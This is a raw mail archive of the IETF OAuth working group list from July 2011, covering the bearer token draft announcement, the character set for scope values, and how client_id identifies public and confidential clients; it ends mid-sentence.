-----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of i= nternet-drafts@ietf.org Sent: Wednesday, July 27, 2011 6:45 AM To: i-d-announce@ietf.org Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Protocol: Bearer Tokens Author(s) : Michael B. Jones Dick Hardt David Recordon Filename : draft-ietf-oauth-v2-bearer-08.txt Pages : 17 Date : 2011-07-27 This specification describes how to use bearer tokens when accessing OAuth 2.0 protected resources. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From barryleiba.mailing.lists@gmail.com Wed Jul 27 08:06:07 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6696321F8B8D for ; Wed, 27 Jul 2011 08:06:07 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.065 X-Spam-Level: X-Spam-Status: No, score=-103.065 tagged_above=-999 required=5 tests=[AWL=-0.088, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id s813UIGnHS7H for ; Wed, 27 Jul 2011 08:06:04 -0700 (PDT) Received: from mail-vw0-f44.google.com (mail-vw0-f44.google.com [209.85.212.44]) by ietfa.amsl.com (Postfix) with ESMTP id D183F21F8B98 for ; Wed, 27 Jul 2011 08:06:03 -0700 (PDT) Received: by vws12 with SMTP id 12so1521976vws.31 for ; Wed, 27 Jul 2011 08:06:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:date:x-google-sender-auth:message-id:subject :from:to:content-type; bh=sXZ2l2szAPx1VleUYgQ08AVsXlzXsxRom8PI9V1pflA=; b=c1REQuxb0eGuKUWiNQZieuhEmvkscFfNgYLud9ytXNC8kjx51gXJMAGYqKE3n//vBb JPh87qdMvj6zruBoSilmxJ1e4JaSfUvbuZfNnkG/VrLfS3t/n7ZLY9/f02DxileelCnP sPkfuYZm1pBT6Deckmo1QR/TnTmUcr6hKfSiw= MIME-Version: 1.0 Received: by 10.52.88.113 with SMTP id bf17mr162926vdb.495.1311779162445; Wed, 27 Jul 2011 08:06:02 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.52.113.167 with HTTP; Wed, 27 Jul 2011 08:06:02 -0700 (PDT) Date: Wed, 27 Jul 2011 11:06:02 -0400 X-Google-Sender-Auth: aZOo-3tvne3upcYkgopc1KfboZo Message-ID: From: Barry Leiba To: OAuth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: [OAUTH-WG] Minutes from IETF 81 meeting X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 15:06:07 -0000 I have uploaded minutes to the meeting materials page, and they can be found here: http://www.ietf.org/proceedings/81/minutes/oauth.txt Corrections, please; and thanks to Tony Nadalin for taking notes. Barry, as chair From Michael.Jones@microsoft.com Wed Jul 27 08:07:36 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6D71821F8BAD for ; Wed, 27 Jul 2011 08:07:36 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.52 X-Spam-Level: X-Spam-Status: No, score=-10.52 tagged_above=-999 required=5 tests=[AWL=0.079, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1VHJHPV2tulD for ; Wed, 27 Jul 2011 08:07:35 -0700 (PDT) Received: from smtp.microsoft.com (mailb.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id C6E6F21F8BA9 for ; Wed, 27 Jul 2011 08:07:35 -0700 (PDT) Received: from TK5EX14HUBC105.redmond.corp.microsoft.com (157.54.80.48) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Wed, 27 Jul 2011 08:07:35 -0700 Received: from TK5EX14MBXC202.redmond.corp.microsoft.com ([169.254.2.165]) by TK5EX14HUBC105.redmond.corp.microsoft.com ([157.54.80.48]) with mapi id 14.01.0323.002; Wed, 27 Jul 2011 08:07:35 -0700 From: Mike Jones To: "MARCON, JEROME (JEROME)" , "oauth@ietf.org" Thread-Topic: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt Thread-Index: AQHMTGNqEzIftesX/EGmqnwb6WdXfJUALi1AgAAPiUCAAAbooA== Date: Wed, 27 Jul 2011 15:07:35 +0000 Message-ID: <4E1F6AAD24975D4BA5B16804296739434986B53A@TK5EX14MBXC202.redmond.corp.microsoft.com> References: <20110727134508.1155.48861.idtracker@ietfa.amsl.com> <4E1F6AAD24975D4BA5B1680429673943498692EA@TK5EX14MBXC202.redmond.corp.microsoft.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.35] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 15:07:36 -0000 In the bearer token spec, Section 2.4 (The WWW-Authenticate Response Header= Field), scope is unambiguously defined to permit these characters: scope =3D "scope" "=3D" <"> scope-v *( SP scope-v ) <"> scope-v =3D 1*quoted-char quoted-char =3D ALPHA / DIGIT / "!" / "#" / "$" / "%" / "&" / "'" / "(" / ")" / "*" / "+" / "-" / "." / "/" / ":" / "<" / "=3D" / ">" / "?" / "@" / "[" / "]" / "^" / "_" / "`" / "{" / "|" / "}" / "~" / "\" / "," / ";" I misspoke in the meeting thinking that this definition was also in the cor= e spec. I believe that it used to be there, but apparently it has been rem= oved. There it just says that "The scope of the access request expressed a= s a list of space-delimited, case sensitive strings." This set of characters does permit, but does not mandate, support for perce= nt-encoding of characters. -- Mike -----Original Message----- From: MARCON, JEROME (JEROME) [mailto:jerome.marcon@alcatel-lucent.com]=20 Sent: Wednesday, July 27, 2011 7:53 AM To: Mike Jones; oauth@ietf.org Subject: RE: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt Mike, Regarding the allowed characters for scope values (grammar of "scope-v"), i= s the non-support of percent encoding intentional ? That would preclude sco= pe values to be (every kind of) UTF-8 strings, or URNs, or JSON (short) pay= load, etc. This character set limitation does not exist in the core spec, wherever sco= pe parameter can be included in a request or response, either because perce= nt encoding is usable, or else because scope parameter is a JSON string. It seems besides strange that the set of characters safe to use for scope v= alues is not defined in the core spec, and instead is constrained by/depend= ent from the type of access token used (here, bearer token). Note that this question was raised also by the Liaison Statement received f= rom the Open Mobile Alliance. Best regards, Jerome -----Message d'origine----- De=A0: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] De la part de= Mike Jones Envoy=E9=A0: mercredi 27 juillet 2011 15:47 =C0=A0: oauth@ietf.= org Objet=A0: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt Updated references to oauth-v2 and httpbis. -- Mike -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of i= nternet-drafts@ietf.org Sent: Wednesday, July 27, 2011 6:45 AM To: i-d-announce@ietf.org Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Protocol: Bearer Tokens Author(s) : Michael B. Jones Dick Hardt David Recordon Filename : draft-ietf-oauth-v2-bearer-08.txt Pages : 17 Date : 2011-07-27 This specification describes how to use bearer tokens when accessing OAuth 2.0 protected resources. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From eran@hueniverse.com Wed Jul 27 09:09:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8BDE521F8AFF for ; Wed, 27 Jul 2011 09:09:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.558 X-Spam-Level: X-Spam-Status: No, score=-2.558 tagged_above=-999 required=5 tests=[AWL=0.040, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id HjRdOsNxqHcW for ; Wed, 27 Jul 2011 09:09:18 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 6A38521F8B11 for ; Wed, 27 Jul 2011 09:09:18 -0700 (PDT) Received: (qmail 6498 invoked from network); 27 Jul 2011 16:09:18 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 27 Jul 2011 16:09:17 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 27 Jul 2011 09:09:10 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Wed, 27 Jul 2011 09:08:59 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxMd4R6pcBSZpDhQ16BrrauZTkC4Q== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA55845717485eranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 16:09:19 -0000 --_000_CA55845717485eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable The way I've set it up in =9618 is that the client_id parameter in the auth= orization endpoint is used to identify the client registration record. The = identifier is described in section 2.3. Then in section 2.4.1 the parameter= is "extended" for use with the token endpoint for client authentication wh= en Basic is not available. So the idea is that the only place you should be using client_id is with th= e authorization endpoint to reference the client registration information (= needed to lookup the redirection URI). I have argued in the past that a fut= ure extension to remove the need to register clients should make this param= eter optional but that's outside our current scope. The token endpoint performs client authentication instead of "client identi= fication" using the client identifier as username. Hope this helps. EHL From: Brian Campbell > Date: Wed, 27 Jul 2011 04:32:42 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification Okay, looking at some of those drafts again, I see that now. Except for -16 they are all pretty similar on client_id back to -10. Apparently it was my misunderstanding. Maybe I'm the only one who doesn't get it but I do think it could be clearer. I'd propose some text but I'm still not fully sure I understand what is intended. If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST NOT or OPTIONAL to be included on token endpoint requests? Here's a specific question/example to illustrate my continued confusion - it would seem like the majority of clients that would use the Resource Owner Password Credentials grant (although 4.3.2 shows the use of HTTP Basic) would be "public" clients. How is it expected that such clients Identify themselves to the AS? The client identity, even if not something that can be strongly relied on, is useful for things like presenting a list of access grants to the user for revocation. http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-4.3.2 On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav > wrote: Not exactly. The current setup was pretty stable up to =9615. In =9616 I tried to clean = it up by moving the parameter into each token endpoint type definition. That didn't work and was more confusing so in =9617 I reverted back to the =9615 approach. What makes this stand out in =9620 is that all the examples now use HTTP Ba= sic instead of the parameters (since we decided to make them NOT RECOMMENDED). So it feels sudden that client_id is gone, but none of this is actually muc= h different from =9615 on. Client authentication is still performed the same way, and the role of client_id is just as an alternative to using HTTP Basi= c on the token endpoint. I think the current text is sufficient, but if you want to provide specific additions I'm open to it. EHL From: Brian Campbell > Date: Tue, 26 Jul 2011 10:16:21 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification I'm probably somewhat biased by having read previous version of the spec, previous WG list discussions, and my current AS implementation (which expects client_id) but this seems like a fairly big departure from what was in -16. I'm okay with the change but feel it's wroth mentioning that it's likely an incompatible one. That aside, I feel like it could use some more explanation in draft-ietf-oauth-v2 because, at least to me and hence my question, it wasn't entirely clear how client_id should be used for those cases. On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav > wrote: The client_id is currently only defined for password authentication on the token endpoint. If you are using Basic or any other form of authentication (or no authentication at all), you are not going to use the client_id parameter. --_000_CA55845717485eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
The way I've set it up in =9618= is that the client_id parameter in the authorization endpoint is used to i= dentify the client registration record. The identifier is described in sect= ion 2.3. Then in section 2.4.1 the parameter is "extended" f= or use with the token endpoint for client authentication when Basic is not = available.

So the idea is that the only place you = should be using client_id is with the authorization endpoint to reference t= he client registration information (needed to lookup the redirection URI). = I have argued in the past that a future extension to remove the need to reg= ister clients should make this parameter optional but that's outside our cu= rrent scope.

The token endpoint performs client au= thentication instead of "client identification" using the client = identifier as username.

Hope this helps.

EHL


From: Brian Campbell <bcampbell@pingidentity.com>
Date: Wed, 27 Jul 2011 04:32:42 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@i= etf.org>
Subject: Re: [O= AUTH-WG] treatment of client_id for authentication and identification

Okay, looking at some of those drafts again, I see that now. Exc= ept
for -16 they are all pretty similar on client_id back to -10.=
Apparently it was my misunderstanding.  Maybe I'm the = only one who
doesn't get it but I do think it could be clearer.&n= bsp; I'd propose some
text but I'm still not fully sure I un= derstand what is intended.

If a client doesn't hav= e a secret, is client_id a SHOULD NOT, a MUST
NOT or OPTIONAL to = be included on token endpoint requests?

Here's a s= pecific question/example to illustrate my continued
confusion - i= t would seem like the majority of clients that would use
the Reso= urce Owner Password Credentials grant (although 4.3.2 shows
the u= se of HTTP Basic) would be "public" clients.  How is it= expected
that such clients Identify themselves to the AS? &= nbsp;The client identity,
even if not something that can be stron= gly relied on, is useful for
things like presenting a list of acc= ess grants to the user for
revocation.

<= br>



On Tue, Jul = 26, 2011 at 12:17 PM, Eran Hammer-Lahav <eran@hueniverse.com> wrote:
Not exactly.
The current setup wa= s pretty stable up to =9615. In =9616 I tried to clean it up
by = moving the parameter into each token endpoint type definition. That
didn't work and was more confusing so in =9617 I reverted back to the = =9615
approach.
What makes this stand out in =9620 is= that all the examples now use HTTP Basic
instead of the paramet= ers (since we decided to make them NOT RECOMMENDED).
So it feels= sudden that client_id is gone, but none of this is actually much
different from =9615 on. Client authentication is still performed the sam= e
way, and the role of client_id is just as an alternative to us= ing HTTP Basic
on the token endpoint.
I think the cur= rent text is sufficient, but if you want to provide specific
add= itions I'm open to it.
EHL
From: Brian Campbell <<= a href=3D"mailto:bcampbell@pingidentity.com">bcampbell@pingidentity.com= >
Date: Tue, 26 Jul 2011 10:16:21 -0700
To: Eran H= ammer-lahav <eran@hueniverse.com<= /a>>
Subject: Re: [OAUTH-WG] treatment of client_id fo= r authentication and
identification

I'= m probably somewhat biased by having read previous version of the
spec, previous WG list discussions, and my current AS implementation
(which expects client_id) but this seems like a fairly big departure=
from what was in -16.  I'm okay with the change but f= eel it's wroth
mentioning that it's likely an incompatible one.<= /div>
That aside, I feel like it could use some more explanation in
draft-ietf-oauth-v2 because, at least to me and hence my question,= it
wasn't entirely clear how client_id should be used for those= cases.
On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav <<= a href=3D"mailto:eran@hueniverse.com">eran@hueniverse.com>
wrote:

The client_id is currently only defined = for password authentication on the
token endpoint. If you are us= ing Basic or any other form of authentication
(or no authenticat= ion at all), you are not going to use the client_id
parameter.


--_000_CA55845717485eranhueniversecom_-- From torsten@lodderstedt.net Wed Jul 27 10:38:46 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2704B11E80FE for ; Wed, 27 Jul 2011 10:38:46 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.086 X-Spam-Level: X-Spam-Status: No, score=-2.086 tagged_above=-999 required=5 tests=[AWL=0.162, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id u4YKEfv70seb for ; Wed, 27 Jul 2011 10:38:43 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.104]) by ietfa.amsl.com (Postfix) with ESMTP id 24FE511E80F2 for ; Wed, 27 Jul 2011 10:38:42 -0700 (PDT) Received: from [130.129.17.214] by smtprelay06.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Qm848-0000D1-3r; Wed, 27 Jul 2011 19:38:40 +0200 Message-ID: <4E304D1C.3020407@lodderstedt.net> Date: Wed, 27 Jul 2011 13:38:36 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Eran Hammer-Lahav References: In-Reply-To: Content-Type: multipart/alternative; boundary="------------030508060209080108020204" X-Df-Sender: torsten@lodderstedt-online.de Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 17:38:46 -0000 This is a multi-part message in MIME format. --------------030508060209080108020204 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav: > The way I've set it up in --18 is that the client_id parameter in the > authorization endpoint is used to identify the client registration > record. The identifier is described in section 2.3. Then in section > 2.4.1 the parameter is "extended" for use with the token endpoint for > client authentication when Basic is not available. > > So the idea is that the only place you should be using client_id is > with the authorization endpoint to reference the client registration > information (needed to lookup the redirection URI). I have argued in > the past that a future extension to remove the need to register > clients should make this parameter optional but that's outside our > current scope. > > The token endpoint performs client authentication instead of "client > identification" using the client identifier as username. It can do so for confidential clients only. What about public clients using e.g. the Resource Owners Password flow? I see the need to identify them as well. For example, if the authz server issues a refresh token to such a client there must be a way to relate this token to a certain client in order to give the user a chance to revoke this specific token. regards, Torsten. > > Hope this helps. > > EHL > > > From: Brian Campbell > > Date: Wed, 27 Jul 2011 04:32:42 -0700 > To: Eran Hammer-lahav > > Cc: oauth > > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification > > Okay, looking at some of those drafts again, I see that now. Except > for -16 they are all pretty similar on client_id back to -10. > Apparently it was my misunderstanding. Maybe I'm the only one who > doesn't get it but I do think it could be clearer. I'd propose some > text but I'm still not fully sure I understand what is intended. > > If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST > NOT or OPTIONAL to be included on token endpoint requests? > > Here's a specific question/example to illustrate my continued > confusion - it would seem like the majority of clients that would use > the Resource Owner Password Credentials grant (although 4.3.2 shows > the use of HTTP Basic) would be "public" clients. How is it expected > that such clients Identify themselves to the AS? The client identity, > even if not something that can be strongly relied on, is useful for > things like presenting a list of access grants to the user for > revocation. > > > > http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-4.3.2 > > > On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav > > wrote: > > Not exactly. > The current setup was pretty stable up to --15. In --16 I > tried to clean it up > by moving the parameter into each token endpoint type > definition. That > didn't work and was more confusing so in --17 I reverted back > to the --15 > approach. > What makes this stand out in --20 is that all the examples now > use HTTP Basic > instead of the parameters (since we decided to make them NOT > RECOMMENDED). > So it feels sudden that client_id is gone, but none of this is > actually much > different from --15 on. Client authentication is still > performed the same > way, and the role of client_id is just as an alternative to > using HTTP Basic > on the token endpoint. > I think the current text is sufficient, but if you want to > provide specific > additions I'm open to it. > EHL > From: Brian Campbell > > Date: Tue, 26 Jul 2011 10:16:21 -0700 > To: Eran Hammer-lahav > > Cc: oauth > > Subject: Re: [OAUTH-WG] treatment of client_id for > authentication and > identification > > I'm probably somewhat biased by having read previous version > of the > spec, previous WG list discussions, and my current AS > implementation > (which expects client_id) but this seems like a fairly big > departure > from what was in -16. I'm okay with the change but feel it's > wroth > mentioning that it's likely an incompatible one. > That aside, I feel like it could use some more explanation in > draft-ietf-oauth-v2 because, at least to me and hence my > question, it > wasn't entirely clear how client_id should be used for those > cases. > On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav > > > wrote: > > The client_id is currently only defined for password > authentication on the > token endpoint. If you are using Basic or any other form of > authentication > (or no authentication at all), you are not going to use the > client_id > parameter. > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth --------------030508060209080108020204 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav:
The way I've set it up in –18 is that the client_id parameter in the authorization endpoint is used to identify the client registration record. The identifier is described in section 2.3. Then in section 2.4.1 the parameter is "extended" for use with the token endpoint for client authentication when Basic is not available.

So the idea is that the only place you should be using client_id is with the authorization endpoint to reference the client registration information (needed to lookup the redirection URI). I have argued in the past that a future extension to remove the need to register clients should make this parameter optional but that's outside our current scope.

The token endpoint performs client authentication instead of "client identification" using the client identifier as username.

It can do so for confidential clients only. What about public clients using e.g. the Resource Owners Password flow? I see the need to identify them as well. For example, if the authz server issues a refresh token to such a client there must be a way to relate this token to a certain client in order to give the user a chance to revoke this specific token.

regards,
Torsten.


Hope this helps.

EHL


From: Brian Campbell <bcampbell@pingidentity.com>
Date: Wed, 27 Jul 2011 04:32:42 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

Okay, looking at some of those drafts again, I see that now. Except
for -16 they are all pretty similar on client_id back to -10.
Apparently it was my misunderstanding.  Maybe I'm the only one who
doesn't get it but I do think it could be clearer.  I'd propose some
text but I'm still not fully sure I understand what is intended.

If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST
NOT or OPTIONAL to be included on token endpoint requests?

Here's a specific question/example to illustrate my continued
confusion - it would seem like the majority of clients that would use
the Resource Owner Password Credentials grant (although 4.3.2 shows
the use of HTTP Basic) would be "public" clients.  How is it expected
that such clients Identify themselves to the AS?  The client identity,
even if not something that can be strongly relied on, is useful for
things like presenting a list of access grants to the user for
revocation.





On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav <eran@hueniverse.com> wrote:
Not exactly.
The current setup was pretty stable up to –15. In –16 I tried to clean it up
by moving the parameter into each token endpoint type definition. That
didn't work and was more confusing so in –17 I reverted back to the –15
approach.
What makes this stand out in –20 is that all the examples now use HTTP Basic
instead of the parameters (since we decided to make them NOT RECOMMENDED).
So it feels sudden that client_id is gone, but none of this is actually much
different from –15 on. Client authentication is still performed the same
way, and the role of client_id is just as an alternative to using HTTP Basic
on the token endpoint.
I think the current text is sufficient, but if you want to provide specific
additions I'm open to it.
EHL
From: Brian Campbell <bcampbell@pingidentity.com>
Date: Tue, 26 Jul 2011 10:16:21 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and
identification

I'm probably somewhat biased by having read previous version of the
spec, previous WG list discussions, and my current AS implementation
(which expects client_id) but this seems like a fairly big departure
from what was in -16.  I'm okay with the change but feel it's wroth
mentioning that it's likely an incompatible one.
That aside, I feel like it could use some more explanation in
draft-ietf-oauth-v2 because, at least to me and hence my question, it
wasn't entirely clear how client_id should be used for those cases.
On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav <eran@hueniverse.com>
wrote:

The client_id is currently only defined for password authentication on the
token endpoint. If you are using Basic or any other form of authentication
(or no authentication at all), you are not going to use the client_id
parameter.


 

_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
--------------030508060209080108020204-- From barryleiba.mailing.lists@gmail.com Wed Jul 27 10:44:28 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9707F11E80F2 for ; Wed, 27 Jul 2011 10:44:28 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.064 X-Spam-Level: X-Spam-Status: No, score=-103.064 tagged_above=-999 required=5 tests=[AWL=-0.087, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Lhila-XnaJCH for ; Wed, 27 Jul 2011 10:44:28 -0700 (PDT) Received: from mail-vw0-f44.google.com (mail-vw0-f44.google.com [209.85.212.44]) by ietfa.amsl.com (Postfix) with ESMTP id 0DD5C11E80DF for ; Wed, 27 Jul 2011 10:44:27 -0700 (PDT) Received: by vws12 with SMTP id 12so1671743vws.31 for ; Wed, 27 Jul 2011 10:44:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=gVkXjBUADtLk7Zcz5xai5bgq1CitFTgA5fAIb3OdcE4=; b=W2uNLm3HIfnDbnT+XhuJADeS+mBWafBdV18O7R6E5Pjs/dGhg67wvLUOfXr1FSS3EE UDXa5qCjVpma71cUU9OVb4d9g1asgo8iVVPjs2jeogc4/pjf9qZ4Mg6pdbobOMmffx3W i7t8vWDOFtpeCc+UygbObYRI+OvVd0//lwC50= MIME-Version: 1.0 Received: by 10.52.94.148 with SMTP id dc20mr116656vdb.93.1311788667175; Wed, 27 Jul 2011 10:44:27 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.52.113.167 with HTTP; Wed, 27 Jul 2011 10:44:27 -0700 (PDT) In-Reply-To: <4E1F6AAD24975D4BA5B16804296739434986822D@TK5EX14MBXC202.redmond.corp.microsoft.com> References: <20110727131700.23436.11568.idtracker@ietfa.amsl.com> <4E1F6AAD24975D4BA5B16804296739434986822D@TK5EX14MBXC202.redmond.corp.microsoft.com> Date: Wed, 27 Jul 2011 13:44:27 -0400 X-Google-Sender-Auth: Fshjy834IIgdwTowUBogP8KkLjQ Message-ID: From: Barry Leiba To: Mike Jones Content-Type: text/plain; charset=ISO-8859-1 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 17:44:28 -0000 > This version should be the subject of the working group last call. As announced in the working group session this morning at IETF 81: This document goes into working-group last call today, 